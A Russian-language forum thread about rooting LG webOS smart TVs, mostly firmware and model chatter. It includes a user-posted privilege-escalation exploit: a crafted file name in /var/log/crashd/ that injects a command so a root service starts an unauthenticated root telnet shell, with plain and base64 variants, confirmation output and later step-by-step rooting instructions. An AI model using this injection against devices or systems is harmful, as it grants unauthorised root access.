Реклама показывается только незарегистрированным пользователям. Вход или Регистрация

[rootmy.tv] Как получить Root права на webOS

Обсуждение LG smart TV. Пишем тут отзывы и мнения об лджи смарт тв! Разрешено обсуждать цены и где дешевле купить смарт тв.

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение AMETKO » 02 июл 2022, 06:13

MJenia
Посмотрите раздел "Как обновить телевизор имеющимся файлом прошивки с флешки? " в этой теме:
Новые прошивки на серверах обновления LG для ТВ 2021 года
Последний раз редактировалось AMETKO 02 июл 2022, 07:05, всего редактировалось 1 раз.

За это сообщение автора AMETKO поблагодарил:
MJenia (02 июл 2022, 06:56)
AMETKO

 
Сообщения: 3854
Зарегистрирован: 18 июн 2017, 22:32
Благодарил (а): 480 раз.
Поблагодарили: 557 раз.
Телевизор: LG 43UH603V

Re: [rootmy.tv] Как получить Root права на webOS

Спонсор » 02 июл 2022, 06:13

Реклама показывается только незарегистрированным пользователям. Войти или Зарегистрироваться
Спонсор

 
Сообщения: 100
Зарегистрирован: 15 июл 2014, 18:43
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение MJenia » 02 июл 2022, 06:57

Спасибо, буду пробовать, специально для вас научился на форуме ставить благодарности)

За это сообщение автора MJenia поблагодарил:
AMETKO (02 июл 2022, 07:05)
MJenia

 
Сообщения: 25
Зарегистрирован: 14 июн 2022, 21:39
Благодарил (а): 8 раз.
Поблагодарили: 4 раз.
Телевизор: LG 55Nano753
Звук: -

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение MJenia » 02 июл 2022, 10:14

Единственное, смущает, что даже если этот способ поможет, после обновления а т. ч. до 03.21.30 рано или поздно придет момент, когда браузер у всех все равно откажется работать до более свежего обновления, которое без рут. Единственный вариант - найти способ запретить браузеру проверку обновлений (самой системе запрещает обновляться как я понял Homebrew Channel)
Последний раз редактировалось MJenia 02 июл 2022, 23:14, всего редактировалось 2 раз(а).
MJenia

 
Сообщения: 25
Зарегистрирован: 14 июн 2022, 21:39
Благодарил (а): 8 раз.
Поблагодарили: 4 раз.
Телевизор: LG 55Nano753
Звук: -

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение eugene2878 » 02 июл 2022, 22:04

AMETKO писал(а):eugene2878
В шапке всё верно. Начиная с этих прошивок рут 2.0 заблокирован.

Не верно. У меня прошивка 03.21.40 и рут поставлен.
eugene2878

 
Сообщения: 8
Зарегистрирован: 30 июн 2022, 11:39
Благодарил (а): 0 раз.
Поблагодарили: 1 раз.
Телевизор: 50NANO886

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение AMETKO » 03 июл 2022, 08:10

eugene2878
То есть на 50NANO88 через rootmy.tv получилось получить рут?
AMETKO

 
Сообщения: 3854
Зарегистрирован: 18 июн 2017, 22:32
Благодарил (а): 480 раз.
Поблагодарили: 557 раз.
Телевизор: LG 43UH603V

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение Whiterat » 04 июл 2022, 02:18

(Извините за английский, это мой родной язык.)

New Root Method

Tested on an OLED65CX running 04.30.61.

  • crashd runs as root, subscribed to inotify events for /var/log/crashd/$component_name
  • remote diagnostics (rdxd) writes this supposed crash out to /tmp/rdxd/crash/crash.$foobar
  • uploadd then kicks in to to send logs back to LG and part of that log collection process:
    • "sh -c cp /tmp/rdxd/crash/crash.$foobar /tmp/uploadd/$component_name"

That is running as root and we have full control of $component_name by means of whatever filename we stick in /var/log/crashd/

So...

Код: Выделить всё
$ touch /var/log/crashd/“x;telnetd -l sh”


Код: Выделить всё
$ ps -FC telnetd
UID PID PPID C SZ RSS PSR STIME TTY TIME CMD
root 12152 1 0 5592 816 2 01:35?  00:00:00 telnetd -l sh


Код: Выделить всё
whiterat@mbp:[~]$ telnet 10.1.161.192
Trying 10.1.161.192...
Connected to 10.1.161.192.
Escape character is '^]'.

webOS TV 5.3.0 LGwebOSTV

/ # uname -a
Linux LGwebOSTV 4.4.84-219.1.jasper.2 #1 SMP PREEMPT Thu Feb 24 09:02:14 UTC 2022 aarch64 GNU/Linux
/ # id
uid=0 (root) gid=0 (root)


It’s possible to have a longer initial payload with a “standard” base64 escape:

Код: Выделить всё
$ touch /var/log/crashd/"x;echo dGVsbmV0ZCAtbCAvYmluL3No | base64 -d | sh"


8-) 8-) 8-)

За это сообщение автора Whiterat поблагодарили: 4
andrewttrb (04 июл 2022, 16:12), begemoth (05 июл 2022, 12:30), JackSparrow (04 июл 2022, 06:31), Roman1833 (04 июл 2022, 13:38)
Whiterat

 
Сообщения: 2
Зарегистрирован: 06 июн 2022, 06:02
Благодарил (а): 0 раз.
Поблагодарили: 4 раз.
Телевизор: LG OLED65CX

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение JackSparrow » 04 июл 2022, 06:31

Whiterat
Congrats! You gave a new hope to all who updated to unrootable firmware.
Waiting for it to be added to rootmy.tv.

За это сообщение автора JackSparrow поблагодарил:
alex12-67 (09 июл 2022, 14:41)
JackSparrow

 
Сообщения: 9450
Зарегистрирован: 10 июн 2018, 17:48
Благодарил (а): 1365 раз.
Поблагодарили: 1621 раз.
Телевизор: LG OLED 55C9

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение eugene2878 » 04 июл 2022, 23:50

AMETKO писал(а):eugene2878
То есть на 50NANO88 через rootmy.tv получилось получить рут?

Так точно.

За это сообщение автора eugene2878 поблагодарил:
AMETKO (05 июл 2022, 09:51)
eugene2878

 
Сообщения: 8
Зарегистрирован: 30 июн 2022, 11:39
Благодарил (а): 0 раз.
Поблагодарили: 1 раз.
Телевизор: 50NANO886

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение begemoth » 05 июл 2022, 12:34

Whiterat писал(а):
New Root Method

Tested on an OLED65CX running 04.30.61.


Получилось также на OLED55C1PVA / firmwareVersion: 03.30.20

Код: Выделить всё
$ telnet 10.14
Trying 10.0.0.14...
Connected to 10.14.
Escape character is '^]'.

webOS TV 6.3.0 home

ERROR: ld.so: object '$LD_PRELOAD' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
/ # uname -a
ERROR: ld.so: object '$LD_PRELOAD' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Linux home 4.4.84-229.kcl4tv.5 #1 SMP PREEMPT Wed May 25 02:32:07 UTC 2022 aarch64 GNU/Linux
/ # id
ERROR: ld.so: object '$LD_PRELOAD' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
uid=0 (root) gid=0 (root)
/ #

За это сообщение автора begemoth поблагодарили: 2
AMETKO (05 июл 2022, 22:50), Архивариус (06 июл 2022, 10:27)
begemoth

 
Сообщения: 1
Зарегистрирован: 05 июл 2022, 10:43
Благодарил (а): 1 раз.
Поблагодарили: 2 раз.
Телевизор: LG OLED55C1PVA

Re: [rootmy.tv] Как получить Root права на webOS

Сообщение AMETKO » 05 июл 2022, 22:55

Whiterat писал(а):New Root Method

На модели OLED 55C1 получен рут этим новым способом, вот порядок действий:
Vladimir Troyanovsky писал(а):0. получаешь режим разработчика https://webostv.developer.lge.com/devel ... lg-account

1. ставишь консольного клиента webos-cli https://webostv.developer.lge.com/devel ... stallation

2. делаешь всё по инструкции "connecting with CLI" отсюда:
https://webostv.developer.lge.com/devel ... r-mode-app

3. коннектишься через ssh к телевизору
Код: Выделить всё
ssh prisoner@<TV-IP> -p 9922 -i <KEY-PATH> bash -i

(очевидно, что TV-IP и KEY-PATH надо подставлять свои. ключ выгружается на шаге 6. Get the key file from your webOS TV with the following command on your PC из п.2 этой инструкции)

4. приконнектившись через ssh применяешь эксплойт Whiterat @ [rootmy.tv] Как получить Root права на webOS, а именно выполняешь команду
Код: Выделить всё
touch /var/log/crashd/"x;telnetd -l sh"
. после этого на телеке временно запускается телнет-сервер с рутовым доступом

5. скачиваешь, распаковываешь и закидываешь IPK из промежуточной сборки homebrew-channel https://github.com/webosbrew/webos-home ... 2600999393

5. подключаешься к телевизору через телнет. там будет уже рутовая консоль

6. в консоли выполняешь команды из
https://github.com/webosbrew/webos-home ... nel#manual, но только те, что относятся к установке и подъёму привилегий (первые две). в первой команде очевидно надо поправить путь к файлу. в зависимости от того куда закинул

7. удаляешь в интерфейсе прилу developer-mode. убеждаешься, что файл /var/luna/preferences/devmode_enabled на месте

8. перезагружаешься

всё должно быть ОК - ssh / telnet работают, кружка на месте. проверено на прошивке 03.30.20 / OLED55C1PVA

(способы подключения через телнет, ssh, и заливки файлов могут отличаться в зависимости от того, что за клиенты у вас на руках. удобнее всего конечно линукс или 10-11 винда с WSL - там и SSH, и SFTP, и телнет под рукой)

добавил в authorized_keys ключик, ребутнулся ещё раз – всё нормально

п.с. Телек:
modelName: OLED55C1PVA
sdkVersion: 6.3.0
firmwareVersion: 03.30.20
boardType: O20N_DVB_EU
otaId: HE_DTV_W21O_AFABATAA

За это сообщение автора AMETKO поблагодарили: 2
Архивариус (06 июл 2022, 10:26), asad1984 (12 сен 2022, 11:20)
AMETKO

 
Сообщения: 3854
Зарегистрирован: 18 июн 2017, 22:32
Благодарил (а): 480 раз.
Поблагодарили: 557 раз.
Телевизор: LG 43UH603V

Пред.След.

Вернуться в Телевизоры LG - Обсуждение



 


  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение